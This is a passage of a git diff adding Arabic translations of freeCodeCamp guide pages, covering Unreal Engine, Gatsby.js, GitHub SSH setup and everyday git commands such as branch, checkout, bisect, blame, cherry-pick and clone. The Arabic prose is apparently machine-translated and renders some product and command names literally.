+++ b/client/src/guide/arabic/game-development/unreal-engine/index.md
@@ -0,0 +1,37 @@
+---
+title: Unreal Engine
+localeTitle: محرك غير واقعي
+---
+## تطوير اللعبة مع محرك غير واقعي
+
+محرك غير واقعي هو محرك لعبة عبر منصة طورتها Epic Games. تم تطوير محرك Unreal مبدئيًا لعنوان FPS Unreal لعام 1998 ، ولكن تم استخدامه لاحقًا لعدة آلاف من العناوين التجارية وغير التجارية. أحدث إصدار من المحرك ، Unreal Engine 4 ، يستهدف PC و PlayStation 4 و Xbox One و Mac OS X و iOS و Android والعديد من أنظمة VR و Linux و SteamOS و HTML5 ، ويمكن تشغيل المحرر على Windows و OS X ولينكس.
+
+Uscript هي لغة البرمجة الأصلية الخاصة بالمحرك ، والتي تستخدم لإنشاء كود اللعبة وألعاب اللعب قبل إصدار Unreal Engine 4 ، وقد تم تصميمها للبرمجة عالية المستوى. تمت كتابة البرنامج النصي وبرمجته من قبل تيم سويني ، وهو أيضًا مبتكر لغة برمجة أخرى ، ZZT-oop.
+
+منذ عام 2015 ، أصبح محرك Unreal مجانيًا للاستخدام ، مع فرض Epic رسومًا بنسبة 5٪ على مبيعات العناوين المنتجة باستخدام المحرك. تجعل Epic غالبية ملفاتهم متاحة عبر Github ، على الرغم من أن مصدر المنصات المغلقة مثل Playstation 4 و Xbox One متاح فقط لمطوري النظام الأساسي المسجلين.
+
+### إصدارات غير حقيقية
+
+لقد مرت غير واقعي 4 المراجعات الرئيسية. على الرغم من أن بعض الرموز شائعة بين الإصدارات ، فإن كل إصدار رئيسي هو محرك منفصل ولا يمكن نقل المشاريع بينهما. ضمن كل إصدار المحرك الرئيسي ، هناك إصدارات متعددة متعددة.
+
+*   محرك غير واقعي 1 تم إصداره في عام 1998 واستهدف أجهزة Windows PC و Linux و Mac و PlayStation 2 و Dreamcast. تمت كتابة المحرك في C ++ ، ويمكن تعديله بسهولة باستخدام لغة Script غير الواقعية.
+    
+*   محرك غير واقعي 2 صدر في عام 2002 واستهدف أجهزة الكمبيوتر ويندوز ، لينكس ، ماك ، بلاي ستيشن 2 وإكس بوكس. تمت كتابة المحرك في C ++ ، استخدم لغة Script غير الواقعية.
+    
+*   غير واقعي المحرك 3 تم إصداره في عام 2004 واستهدف أجهزة الكمبيوتر التي تعمل بنظام Windows و Linux و Mac و iOS و Playstation 3 و Xbox 360. ويتم تقسيم التطوير بين برنامج Unreal Script و C ++ ، مع واجهة برمجة نصية مرئية إضافية تسمى Kismet.
+    
+*   محرك غير واقعي 4 تم إصداره في عام 2015 ويستهدف PC و PlayStation 4 و Xbox One و Mac OS X و iOS و Android والعديد من أنظمة VR و Linux و SteamOS و HTML5 ، ويمكن تشغيل المحرر على أنظمة التشغيل Windows و OS X و Linux. تمت إزالة البرنامج النصي غير الحقيقي واستبداله بوحدات C ++ التي تم إعادة تحميلها ديناميكيًا ، وواجهة برمجة نصية مرئية أكثر تقدمًا تسمى Blueprints.
+    
+
+### الألعاب الشعبية المحرز في غير واقعي
+
+*   مدينه الراجل الوطواط
+*   تأثير الشامل
+*   بيوشوك
+*   الحدودية
+*   معدات الحرب
+
+#### معلومات اكثر:
+
+[www.UnrealEngine.com](https://www.unrealengine.com/)  
+[www.EpicGames.com](https://github.com/EpicGames)
\ No newline at end of file
diff --git a/client/src/guide/arabic/gatsbyjs/index.md b/client/src/guide/arabic/gatsbyjs/index.md
new file mode 100644
index 0000000000..56df37966a
--- /dev/null
+++ b/client/src/guide/arabic/gatsbyjs/index.md
@@ -0,0 +1,22 @@
+---
+title: Gatsby.js
+localeTitle: Gatsby.js
+---
+## Gatsby.js
+
+غاتسبي هو مولد موقع ثابت ل [ردة الفعل](https://guide.freecodecamp.org/react) ، والمدعوم من [GraphQL](https://graphql.org/) .
+
+توفر بيئة Gatsby العديد من "المبتدئين" للمساعدة في تكوين المواقع الثابتة بسرعة. يمكن العثور على المقبلات هنا: [مكتبة المبتدئين](https://www.gatsbyjs.org/starters/) .
+
+### التثبيت واستخدام Gatsby CLI
+
+*   العقدة: `npm install --global gatsby-cli`
+*   ابدأ مع كاتب غاتسبي الرسمي: `gatsby new gatsby-site https://github.com/gatsbyjs/gatsby-starter-default`
+*   بعد ذلك التغيير إلى الدليل الذي تم إنشاؤه حديثا `cd gatsby-site`
+*   `gatsby develop` يبدأ خادم تطوير إعادة تحميل الساخنة. سيتم إعادة تحميل الموقع عند حفظ التغييرات في `src/pages` .
+*   لإنشاء صفحات HTML ثابتة استخدم `gatsby build`
+*   `gatsby serve` على تشغيل خادم محلي يقدم موقعك المبني.
+
+#### معلومات اكثر:
+
+للاطلاع على البرامج التعليمية والمزيد من المعلومات ، راجع الموقع [الرسمي لـ Gatsby.js](https://www.gatsbyjs.org/tutorial/) : [الموقع الرسمي لـ Gatsby.js](https://www.gatsbyjs.org/tutorial/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/git/authenticate-with-github-using-ssh/index.md b/client/src/guide/arabic/git/authenticate-with-github-using-ssh/index.md
new file mode 100644
index 0000000000..aa299c83a5
--- /dev/null
+++ b/client/src/guide/arabic/git/authenticate-with-github-using-ssh/index.md
@@ -0,0 +1,51 @@
+---
+title: How to authenticate with GitHub using SSH
+localeTitle: كيفية المصادقة باستخدام GitHub باستخدام SSH
+---
+# كيفية المصادقة باستخدام GitHub باستخدام SSH
+
+تحقق من عدم وجود ملفات `rsa` هنا قبل المتابعة ، استخدم:
+
+ `ls -al ~/.ssh 
+` 
+
+إذا لم يكن هناك ما يتم سرده (على سبيل المثال `: No such file or directory` ) ، فاستخدم:
+
+ `mkdir $HOME/.ssh 
+` 
+
+إذا لم يكن هناك شيء هناك ، قم بإنشاء keygen جديد مع:
+
+ `ssh-keygen -t rsa -b 4096 -C your@email.com 
+` 
+
+الآن باستخدام `ls -al ~/.ssh` سوف تظهر لدينا `id_rsa.pub` الملف.
+
+أضف مفتاح SSH إلى وكيل SSH:
+
+ `eval "$(ssh-agent -s)" # for mac and Linux from bash 
+` 
+
+ ``eval `ssh-agent -s` 
+ ssh-agent -s # for Windows 
+`` 
+
+إضافة مفتاح RSA إلى SHH مع:
+
+ `ssh-add ~/.ssh/id_rsa 
+` 
+
+انسخ مفتاحك إلى الحافظة
+
+ `clip < ~/.ssh/id_rsa.pub # Windows 
+` 
+
+ `cat ~/.ssh/id_rsa.pub # Linux 
+` 
+
+انتقل إلى صفحة [إعدادات](https://github.com/settings/keys) GitHub وانقر على زر "New SSH key" في المفتاح الذي تم إنشاؤه.
+
+ثم توثيق مع:
+
+ `ssh -T git@github.com 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/git/difference-git-github/index.md b/client/src/guide/arabic/git/difference-git-github/index.md
new file mode 100644
index 0000000000..bf723cb5bd
--- /dev/null
+++ b/client/src/guide/arabic/git/difference-git-github/index.md
@@ -0,0 +1,23 @@
+---
+title: Difference between Git and GitHub
+localeTitle: الفرق بين جيت و جيثب
+---
+## الفرق بين جيت و جيثب
+
+Git و Github هما شيئان مختلفان. [Git](https://git-scm.com/) هو [نظام التحكم في الإصدار](https://en.wikipedia.org/wiki/Version_control) ، في حين أن [GitHub](https://github.com/) هي خدمة لاستضافة Git repos ومساعدة الأشخاص على التعاون في كتابة البرامج. ومع ذلك ، فإنهم غالباً ما يكونون مرتبكين بسبب اسمهم المتشابه ، وذلك بسبب حقيقة أن GitHub يعتمد على Git ، ولأن العديد من المواقع والمقالات لا تجعل الفرق بينهما واضحًا بما فيه الكفاية.
+
+![Git ليس GitHub](https://i.imgur.com/EkjwJdr.png)
+
+### بوابة
+
+Git هو نظام التحكم في إصدار الموزعة. Git مسؤولة عن تتبع التغييرات على المحتوى - عادةً ملفات التعليمات البرمجية المصدر.
+
+لمزيد من المعلومات ، هناك [مقالة كاملة عن جيت نفسها](https://guide.freecodecamp.org/git) .
+
+### جيثب
+
+GitHub هي شركة توفر استضافة Git للمستودعات. وهذا يعني أنها توفر حلًا جاهزًا لاستضافة مستودعات Git على خوادمها. يمكن أن يكون ذلك مفيدًا للحفاظ على نسخة احتياطية من المستودع الخاص بك (يتتبع Git فقط التغييرات التي تم إجراؤها على ملفاتك بمرور الوقت ، وما زال يجب إعادة النسخ الاحتياطي) ، والحصول على مكان مركزي للحفاظ على شفرتك ومشاركتها مع الآخرين.
+
+أكثر من مجرد خدمة استضافة Git مستودع ، GitHub هو [برنامج تزوير](https://en.wikipedia.org/wiki/Forge_(software)) . وهذا يعني أنه يوفر أيضًا أداة [تعقب المشكلات وأدواتًا](https://en.wikipedia.org/wiki/Issue_tracking_system) [لمراجعة الشفرة](https://en.wikipedia.org/wiki/Code_review) وأدوات أخرى للتعاون مع الآخرين وإنشاء برنامج.
+
+GitHub ليس الوحيد الذي يقدم هذا النوع من الخدمات. واحد من المنافسين الرئيسيين هو [GitLab](https://gitlab.com) . لمزيد من المعلومات حول هذا ، انظر إلى [المقال حول استضافة Git](https://guide.freecodecamp.org/git/git-hosting) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/git/git-alias/index.md b/client/src/guide/arabic/git/git-alias/index.md
new file mode 100644
index 0000000000..53119f1ae4
--- /dev/null
+++ b/client/src/guide/arabic/git/git-alias/index.md
@@ -0,0 +1,64 @@
+---
+title: Git Aliases
+localeTitle: Git Aliases
+---
+## جيت الياس
+
+لا يقوم Git باستنتاج الأمر تلقائيًا إذا قمت بكتابته جزئيًا. إذا كنت لا تريد كتابة النص الكامل لكل من أوامر Git ، فيمكنك بسهولة إعداد اسم مستعار لكل أمر باستخدام git config. إليك بعض الأمثلة التي قد ترغب في إعدادها:
+
+ `$ git config --global alias.co checkout 
+ $ git config --global alias.br branch 
+ $ git config --global alias.ci commit 
+ $ git config --global alias.st status 
+` 
+
+هذا يعني ، على سبيل المثال ، بدلاً من كتابة ارتكاب بوابة ، تحتاج فقط إلى كتابة git ci. أثناء استخدام Git ، ستستخدم على الأرجح الأوامر الأخرى بشكل متكرر أيضًا ؛ لا تتردد في إنشاء أسماء مستعارة جديدة.
+
+يمكن أن تكون هذه التقنية مفيدة جدًا في إنشاء الأوامر التي تعتقد أنها يجب أن تكون موجودة. على سبيل المثال ، لتصحيح مشكلة قابلية الاستخدام التي واجهتها مع unstage ملف ، يمكنك إضافة اسم مستعار unstage الخاصة بك إلى Git:
+
+ `$ git config --global alias.unstage 'reset HEAD --' 
+` 
+
+هذا يجعل الأمرين التاليين مساويين:
+
+ `$ git unstage fileA 
+ $ git reset HEAD fileA 
+` 
+
+هذا يبدو أكثر وضوحا بعض الشيء. من الشائع أيضًا إضافة أمر آخر ، على النحو التالي:
+
+ `$ git config --global alias.last 'log -1 HEAD' 
+` 
+
+بهذه الطريقة ، يمكنك أن ترى آخر التزام بسهولة:
+
+ `$ git last 
+ commit 66938dae3329c7aebe598c2246a8e6af90d04646 
+ Author: Josh Goebel <dreamer3@example.com> 
+ Date:   Tue Aug 26 19:48:51 2008 +0800 
+ 
+    test for current head 
+ 
+    Signed-off-by: Scott Chacon <schacon@example.com> 
+` 
+
+ `$ git config --global alias.st status --short --branch 
+` 
+
+عند تشغيل الأمر `git st` ، سيتم عرض الحالة git بتنسيق مبسط لطيف.
+
+### عرض وتحرير وحذف الأسماء المستعارة
+
+لعرض جميع الأسماء المستعارة التي قمت بإنشائها على جهازك ، قم بتشغيل الأمر:
+
+ `cat ~/.gitconfig 
+` 
+
+سيسمح لك استبدال `cat` باستخدام `nano` بتحريرها أو إزالتها تمامًا.
+
+### الاسم المستعار لعرض جميع الأسماء المستعارة
+
+لإضافة اسم مستعار لعرض كل ما تم إنشاؤه على جهازك ، أضف الاسم المستعار
+
+ `    git config --global alias.aliases 'config --get-regexp alias' 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/git/git-bisect/index.md b/client/src/guide/arabic/git/git-bisect/index.md
new file mode 100644
index 0000000000..bce7037887
--- /dev/null
+++ b/client/src/guide/arabic/git/git-bisect/index.md
@@ -0,0 +1,34 @@
+---
+title: Git Bisect
+localeTitle: جيت بيزكت
+---
+## جيت بيزكت
+
+يساعدك أمر `git bisect` على العثور على الإلتزامات التي أضفت تغييرات محددة في مشروعك. هذا مفيد بشكل خاص إذا كنت بحاجة إلى العثور على التغيير الذي أدخل خطأ.
+
+يعمل هذا الأمر من خلال توفير التزام "سيئ" يتضمن الخطأ و "جيد" الالتزام قبل إدخال الخطأ. من خلال البحث الثنائي ، ستقوم `git bisect` باختيار التعهدات وتطلب منك تحديد ما إذا كان الالتزام "جيدًا" أو "سيئًا". يستمر هذا حتى يتمكن الأمر من العثور على الالتزام الدقيق الذي قدم التغيير.
+
+### أوامر بيكت
+
+لبدء جلسة شرائية ، ستقوم بإخبار بوابة git لبدء جلسة عمل ، وتحديد إصدار "سيئ" ، وتحديد إصدار "جيد". بافتراض أن الالتزام الحالي قد تم كسره ولكن التزام `4b60707` جيد ، فسوف يتم تشغيل ما يلي:
+
+ `git bisect start 
+ git bisect bad 
+ git bisect good 4b60707 
+` 
+
+سيقوم Git بالتحقق من التزام بين الإصدارات "الجيدة" و "السيئة" وإخراج شيء مثل ما يلي:
+
+ `Bisecting: 2 revisions left to test after this (roughly 2 steps) 
+` 
+
+يجب عليك الآن أن تخبر git إذا كان الالتزام الحالي يعمل مع `git bisect good` أو إذا تم كسر الالتزام الحالي مع `git bisect bad` . ستتكرر هذه العملية حتى يصبح الأمر قادراً على طباعة أول التزام سيء.
+
+عند الانتهاء ، يجب تنظيف جلسة المشط. سيؤدي ذلك إلى إعادة تعيين HEAD إلى ما كان عليه قبل بدء جلسة العمل:
+
+ `git bisect reset 
+` 
+
+### موارد آخرى
+
+*   [وثائق git chisect](https://git-scm.com/docs/git-bisect)
\ No newline at end of file
diff --git a/client/src/guide/arabic/git/git-blame/index.md b/client/src/guide/arabic/git/git-blame/index.md
new file mode 100644
index 0000000000..1605791c44
--- /dev/null
+++ b/client/src/guide/arabic/git/git-blame/index.md
@@ -0,0 +1,39 @@
+---
+title: Git Blame
+localeTitle: جيت بليم
+---
+## جيت بليم
+
+باستخدام `git blame` يمكنك معرفة من الذي قام بتغيير ما في ملف معين ، خطًا تلو الآخر ، وهو أمر مفيد إذا كنت تعمل في فريق ، بدلاً من العمل بمفردك. على سبيل المثال ، إذا كان سطر الشفرة يجعلك تتساءل عن سبب وجوده ، فيمكنك استخدام `git blame` يجب أن تسأل.
+
+### استعمال
+
+يمكنك استخدام `git blame` مثل هذا: `git blame NAME_OF_THE_FILE`
+
+على سبيل المثال: `git blame triple_welcome.rb`
+
+سترى مخرجات مثل هذا:
+
+ `0292b580 (Jane Doe      2018-06-18 00:17:23 -0500 1) 3.times do 
+ e483daf0 (John Doe      2018-06-18 23:50:40 -0500 2)   print 'Welcome ' 
+ 0292b580 (Jane Doe      2018-06-18 00:17:23 -0500 3) end 
+` 
+
+يتم وضع علامة على كل سطر باستخدام SHA ، واسم المؤلف وتاريخ الالتزام الأخير.
+
+### التسمير Git اللوم
+
+بعض المبرمجين لا يحبون كلمة "اللوم" ، بسبب الدلالة السلبية التي يحملها "إلقاء اللوم على شخص ما". كذلك ، نادرًا ما تستخدم الأداة (إن وجدت) لإلقاء اللوم على شخص ما ، بل طلب النصيحة أو فهم تاريخ الملف. لذلك ، في بعض الأحيان يستخدم الناس اسمًا مستعارًا لتغيير `git blame` على شيء ما يبدو أجمل قليلاً مثل `git who` ، أو `git praise` `git history` أو `git praise` . للقيام بذلك ببساطة قم بإضافة اسم مستعار git مثل هذا:
+
+`git config --global alias.history blame`
+
+يمكنك العثور على مزيد من المعلومات حول أوامر git المتعرجة [هنا](../git-alias/index.md) .
+
+### نص محرر الإضافات باستخدام Git Blame
+
+هناك بعض الإضافات هناك لمحرري النصوص المختلفة التي تستخدم `git blame` . على سبيل المثال ، لإنشاء شيء مثل خرائط الحرارة أو إضافة معلومات مضمنة للخط الحالي الذي تقوم بفحصه. مثال مشهور هو [GitLense](https://gitlens.amod.io/) لـ VSCode.
+
+### قراءة متعمقة
+
+*   [وثائق Git Blame](https://git-scm.com/docs/git-blame)
+*   [مزيد من القراءة حول استخدام Git Blame](https://corgibytes.com/blog/2016/10/18/git-blame/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/git/git-branch/index.md b/client/src/guide/arabic/git/git-branch/index.md
new file mode 100644
index 0000000000..5a511143e8
--- /dev/null
+++ b/client/src/guide/arabic/git/git-branch/index.md
@@ -0,0 +1,123 @@
+---
+title: Git Branch
+localeTitle: بوابة فرع
+---
+## بوابة فرع
+
+تتيح لك وظيفة Git المتفرعة إنشاء فروع جديدة لمشروع لاختبار الأفكار أو عزل الميزات الجديدة أو التجربة دون التأثير على المشروع الرئيسي.
+
+**جدول المحتويات**
+
+*   [عرض الفروع](#view-branches)
+*   [الخروج فرع](#checkout-a-branch)
+*   [إنشاء فرع جديد](#create-a-new-branch)
+*   [إعادة تسمية فرع](#rename-a-branch)
+*   [حذف فرع](#delete-a-branch)
+*   [قارن الفروع](#compare-branches)
+*   [مساعدة في Git Branch](#help-with-git-branch)
+*   [معلومات اكثر](#more-information)
+
+### عرض الفروع
+
+لعرض الفروع في مستودع Git ، قم بتشغيل الأمر:
+
+ `git branch 
+` 
+
+لعرض كل من فروع التتبع عن بعد والفروع المحلية ، قم بتشغيل الأمر:
+
+ `git branch -a 
+` 
+
+سيكون هناك علامة نجمية (\*) بجوار الفرع الذي تعمل عليه حاليًا.
+
+هناك عدد من الخيارات المختلفة التي يمكنك تضمينها مع `git branch` لمشاهدة معلومات مختلفة. لمزيد من التفاصيل حول الفروع ، يمكنك استخدام الخيار `-v` (أو `-vv` ، أو `--verbose` ). ستشمل قائمة الفروع قيمة SHA-1 وخط الموضوع المخصص `HEAD` كل فرع بجانب اسمه.
+
+يمكنك استخدام الخيار `-a` (أو `--all` ) لعرض الفروع المحلية وأي فروع بعيدة لمستودع. إذا كنت تريد فقط رؤية الفروع البعيدة ، فاستخدم خيار `-r` (أو `--remotes` ).
+
+### الخروج فرع
+
+للتحقق من فرع موجود ، قم بتشغيل الأمر:
+
+ `git checkout BRANCH-NAME 
+` 
+
+بشكل عام ، لن تسمح لك Git بالتسجيل في فرع آخر ما لم يكن دليل عملك نظيفًا ، لأنك ستفقد أي تغييرات في دليل العمل غير ملتزم بها. لديك ثلاثة خيارات للتعامل مع تغييراتك: 1) القمامة لهم (انظر [بوابة الخروج للحصول على التفاصيل](https://guide.freecodecamp.org/git/git-checkout/) ) أو 2) ارتكابها (انظر [Git ارتكاب التفاصيل](https://guide.freecodecamp.org/git/git-commit/) ) أو 3) خبأهم (انظر [خبأ Git لمزيد من التفاصيل](https://guide.freecodecamp.org/git/git-stash/) ).
+
+### إنشاء فرع جديد
+
+لإنشاء فرع جديد ، قم بتشغيل الأمر:
+
+ `git branch NEW-BRANCH-NAME 
+` 
+
+لاحظ أن هذا الأمر يقوم بإنشاء الفرع الجديد فقط. ستحتاج إلى تشغيل `git checkout NEW-BRANCH-NAME` للتبديل إليه.
+
+هناك اختصار لإنشاء واختبار فرع جديد في وقت واحد. يمكنك تمرير الخيار `-b` (للفرع) مع `git checkout` . الأوامر التالية تفعل الشيء نفسه:
+
+ `# Two-step method 
+ git branch NEW-BRANCH-NAME 
+ git checkout NEW-BRANCH-NAME 
+ 
+ # Shortcut 
+ git checkout -b NEW-BRANCH-NAME 
+` 
+
+عندما تنشئ فرعًا جديدًا ، سيتضمن كل الإلتزامات من الفرع الرئيسي. الفرع الأم هو الفرع الذي تتواجد فيه عندما تقوم بإنشاء الفرع الجديد.
+
+### إعادة تسمية فرع
+
+لإعادة تسمية فرع ، قم بتشغيل الأمر:
+
+ `git branch -m OLD-BRANCH-NAME NEW-BRANCH-NAME 
+ 
+ # Alternative 
+ git branch --move OLD-BRANCH-NAME NEW-BRANCH-NAME 
+` 
+
+### حذف فرع
+
+لن تسمح لك Git بحذف فرع أنت موجود حاليًا. يجب عليك أولاً الخروج من فرع مختلف ، ثم تشغيل الأمر:
+
+ `git branch -d BRANCH-TO-DELETE 
+ 
+ # Alternative: 
+ git branch --delete BRANCH-TO-DELETE 
+` 
+
+الفرع الذي تقوم بالتبديل إلى إحداث فرق. سيطرح Git خطأً إذا لم يتم دمج التغييرات في الفرع الذي تحاول حذفه بالكامل في الفرع الحالي. يمكنك تجاوز هذا والقوة بوابة لحذف فرع مع `-D` الخيار (لاحظ حرف) أو باستخدام `--force` الخيار مع `-d` أو `--delete` :
+
+ `git branch -D BRANCH-TO-DELETE 
+ 
+ # Alternatives 
+ git branch -d --force BRANCH-TO-DELETE 
+ git branch --delete --force BRANCH-TO-DELETE 
+` 
+
+### قارن الفروع
+
+يمكنك مقارنة الفروع باستخدام الأمر `git diff` :
+
+ `git diff FIRST-BRANCH..SECOND-BRANCH 
+` 
+
+سترى الإخراج الملون للتغييرات بين الفروع. بالنسبة إلى جميع الأسطر التي تغيرت ، سيكون إصدار `SECOND-BRANCH` خطًا أخضر يبدأ بـ "+" ، وسيكون إصدار `FIRST-BRANCH` خطًا أحمر يبدأ بـ "-". إذا كنت لا ترغب في أن يقوم Git بعرض سطرين لكل تغيير ، فيمكنك استخدام الخيار `--color-words` . بدلاً من ذلك ، سيعرض Git سطرًا واحدًا مع النص المحذوف باللون الأحمر ، وإضافة النص باللون الأخضر.
+
+إذا كنت ترغب في رؤية قائمة بجميع الفروع التي تم دمجها بالكامل في فرعك الحالي (وبعبارة أخرى ، يتضمن الفرع الحالي جميع التغييرات في الفروع الأخرى المدرجة) ، قم بتشغيل الأمر `git branch --merged` .
+
+### مساعدة في Git Branch
+
+إذا كنت قد نسيت كيفية استخدام أحد الخيارات أو تريد استكشاف وظائف أخرى حول الأمر `git branch` ، فيمكنك تشغيل أي من هذه الأوامر:
+
+ `git help branch 
+ git branch --help 
+ man git-branch 
+` 
+
+### معلومات اكثر:
+
+*   الأمر `git merge` : [fCC Guide](https://guide.freecodecamp.org/git/git-merge/)
+*   الأمر `git checkout` : [fcc Guide](https://guide.freecodecamp.org/git/git-checkout/)
+*   الأمر `git commit` : [fCC Guide](https://guide.freecodecamp.org/git/git-commit/)
+*   الأمر [gh](https://guide.freecodecamp.org/git/git-stash/) `git stash` : [دليل fcc](https://guide.freecodecamp.org/git/git-stash/)
+*   وثائق جيت: [فرع](https://git-scm.com/docs/git-branch)
\ No newline at end of file
diff --git a/client/src/guide/arabic/git/git-checkout/index.md b/client/src/guide/arabic/git/git-checkout/index.md
new file mode 100644
index 0000000000..d7e0eac09d
--- /dev/null
+++ b/client/src/guide/arabic/git/git-checkout/index.md
@@ -0,0 +1,65 @@
+---
+title: Git Checkout
+localeTitle: بوابة الخروج
+---
+## بوابة الخروج
+
+يقوم الأمر `git checkout` بالتبديل بين الفروع أو استعادة ملفات شجرة العمل. هناك عدد من الخيارات المختلفة لهذا الأمر والتي لن يتم تغطيتها هنا ، ولكن يمكنك إلقاء نظرة عليها كلها في [وثائق Git](https://git-scm.com/docs/git-checkout) .
+
+### الخروج التزام محدد
+
+للخروج من التزام معين ، قم بتشغيل الأمر:
+
+ `git checkout specific-commit-id 
+` 
+
+يمكننا الحصول على رقم تعريف الالتزام المحدد عن طريق تشغيل:
+
+ `git log 
+` 
+
+### الخروج فرع موجود
+
+للتحقق من فرع موجود ، قم بتشغيل الأمر:
+
+ `git checkout BRANCH-NAME 
+` 
+
+بشكل عام ، لن تسمح لك Git بالتسجيل في فرع آخر ما لم يكن دليل عملك نظيفًا ، لأنك ستفقد أي تغييرات في دليل العمل غير ملتزم بها. لديك ثلاثة خيارات للتعامل مع تغييراتك: 1) قم بسحبها ، 2) [ارتكابها](https://guide.freecodecamp.org/git/git-commit/) ، أو 3) [خبأتها](https://guide.freecodecamp.org/git/git-stash/) .
+
+### الخروج فرع جديد
+
+لإنشاء فرع جديد بأمر واحد والخروج منه ، يمكنك استخدام:
+
+ `git checkout -b NEW-BRANCH-NAME 
+` 
+
+سيؤدي هذا إلى تبديلك تلقائيًا إلى الفرع الجديد.
+
+### الخروج فرع جديد أو إعادة تعيين فرع إلى نقطة البداية
+
+يشبه الأمر التالي التحقق من فرع جديد ، ولكنه يستخدم علامة `-B` (لاحظ علامة captional B) ومعلمة `START-POINT` اختيارية:
+
+ `git checkout -B BRANCH-NAME START-POINT 
+` 
+
+إذا كان `BRANCH-NAME` غير موجود ، فسيقوم Git بإنشائه وبدء تشغيله عند `START-POINT` . إذا كان `BRANCH-NAME` موجودًا بالفعل ، فعندئذٍ يقوم Git بإعادة تعيين الفرع إلى `START-POINT` . هذا يعادل تشغيل `git branch` مع `-f` .
+
+### فرض على Checkout
+
+يمكنك تمرير الخيار `-f` أو `--force` باستخدام أمر `git checkout` لإجبار Git لتحويل الفروع ، حتى إذا كان لديك تغييرات غير مرتبة (بمعنى آخر ، يختلف فهرس شجرة العمل عن `HEAD` ). في الأساس ، يمكن استخدامه لرمي التغييرات المحلية.
+
+عند تشغيل الأمر التالي ، سيتجاهل Git الإدخالات غير المدمجة:
+
+ `git checkout -f BRANCH-NAME 
+ 
+ # Alternative 
+ git checkout --force BRANCH-NAME 
+` 
+
+### التراجع عن التغييرات في دليل العمل الخاص بك
+
+يمكنك استخدام أمر `git checkout` للتراجع عن التغييرات التي أجريتها على ملف في دليل العمل. سيؤدي هذا إلى إعادة الملف إلى الإصدار في `HEAD` :
+
+ `git checkout -- FILE-NAME 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/git/git-cherry-pick/index.md b/client/src/guide/arabic/git/git-cherry-pick/index.md
new file mode 100644
index 0000000000..394820c6ea
--- /dev/null
+++ b/client/src/guide/arabic/git/git-cherry-pick/index.md
@@ -0,0 +1,41 @@
+---
+title: Git Cherry Pick
+localeTitle: Git Cherry Pick
+---
+## Git Cherry Pick
+
+ينطبق الأمر `git cherry-pick` التغييرات التي أدخلها بعض الارتباطات الموجودة. وسيركز هذا الدليل على شرح هذه الميزة قدر الإمكان ، ولكن بطبيعة الحال ، فإن [وثائق Git](https://git-scm.com/docs/git-cherry-pick) الحقيقية ستكون مفيدة دائمًا.
+
+### الخروج فرع الكرز اختيار من الرئيسي
+
+لتطبيق التغيير الذي تم تقديمه بواسطة الالتزام على طرف الفرع الرئيسي وإنشاء التزام جديد بهذا التغيير. قم بتشغيل الأمر التالي
+
+ `git cherry-pick master 
+` 
+
+### تحقق في تغيير من التزام مختلف
+
+لتطبيق التغيير الذي تم تقديمه بواسطة الالتزام في قيمة التجزئة المحددة التي تريدها ، قم بتشغيل الأمر التالي
+
+ `git cherry-pick {HASHVALUE} 
+` 
+
+سيؤدي هذا إلى إضافة التغييرات التي تمت الإشارة إليها في الالتزام ، إلى المستودع الحالي الخاص بك
+
+### تطبيق بعض الالتزامات من فرع إلى آخر
+
+يسمح لك `cherry-pick` بالاختيار بين عمليات من فرع واحد إلى آخر. دعونا نقول لديك فرعين `master` و `develop-1` . في الفرع `develop-1` لديك 3 تلتزم مع تعهدات التزام `commit-1` ، `commit-2` `commit-3` . هنا يمكنك تطبيق `commit-2` على الفرع `master` خلال:
+
+ `git checkout master 
+ git cherry-pick commit-2 
+` 
+
+إذا واجهت أي تعارضات في هذه المرحلة ، فيجب عليك إصلاحها وإضافتها باستخدام `git add` ، ثم يمكنك استخدام علامة متابعة لتطبيق اختيار cherry-pick.
+
+ `git cherry-pick --continue 
+` 
+
+إذا كنت ترغب في إجهاض اختيار الكرز فيما بين يمكنك استخدام علامة abort:
+
+ `git cherry-pick --abort 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/git/git-clone/index.md b/client/src/guide/arabic/git/git-clone/index.md
new file mode 100644
index 0000000000..335f466c55
--- /dev/null
+++ b/client/src/guide/arabic/git/git-clone/index.md
@@ -0,0 +1,50 @@
+---
+title: Git Clone
+localeTitle: جيت استنس
+---
+## جيت استنس
+
+يسمح لك الأمر `git clone` بنسخ مخزن بعيد إلى جهازك المحلي.
+
+أولاً ، ابحث عن المستودع عن بُعد للمشروع الذي تعمل فيه أو مهتمًا به - يمكن أن يكون هذا أيضًا شوكة مشروعك. بعد ذلك ، انسخ عنوان URL الخاص به. على سبيل المثال ، إذا كنت قد تفرقت مستودع أدلة freeCodeCamp ، فسيبدو عنوان URL مثل `https://github.com/YOUR-GITHUB-USERNAME/guides.git` .
+
+في سطر الأوامر على جهازك المحلي ، انتقل إلى المكان الذي تريد حفظ المشروع في دليل العمل الخاص بك. وأخيرًا ، قم بتشغيل الأمر `git clone` :
+
+ `git clone URL-OF-REPOSITORY 
+` 
+
+الاسم الافتراضي للدليل الجديد على جهاز الكمبيوتر الخاص بك هو اسم المستودع ، ولكن يمكنك تغيير ذلك عن طريق تضمين المعلمة (اختياري) الأخيرة:
+
+ `git clone URL-OF-REPOSITORY NAME-OF-DIRECTORY-ON-COMPUTER 
+` 
+
+يعطي Git البعيد الاسم المستعار "الأصل". هذه طريقة مفيدة للإشارة إلى جهاز التحكم عن بعد عندما تريد دفع تغييراتك إلى الخادم البعيد أو سحب التغييرات منه. انظر [Git push](https://guide.freecodecamp.org/git/git-push/) و [Git pull](https://guide.freecodecamp.org/git/git-pull/) لمزيد من التفاصيل.
+
+Git يسحب فقط الفرع الرئيسي عن بعد على جهاز الكمبيوتر الخاص بك. يدعى هذا الفرع عادة باسم "master" وفقًا للاتفاقية ، ولكن يمكن تعريفه بشكل مختلف اعتمادًا على المشروع.
+
+أيضا ، Git تلقائيا بإعداد الفرع الرئيسي المحلي لتتبع الفرع البعيد. عند تشغيل `git status` ، سترى معلومات حول ما إذا كان الفرع المحلي لديك محدثًا مع جهاز التحكم عن بُعد. إليك مثال على الناتج:
+
+ `myCommandPrompt (master) >> git status 
+ On branch master 
+ Your branch is up-to-date with 'origin/master'. 
+ nothing to commit, working tree clean 
+ myCommandPrompt (master) >> 
+` 
+
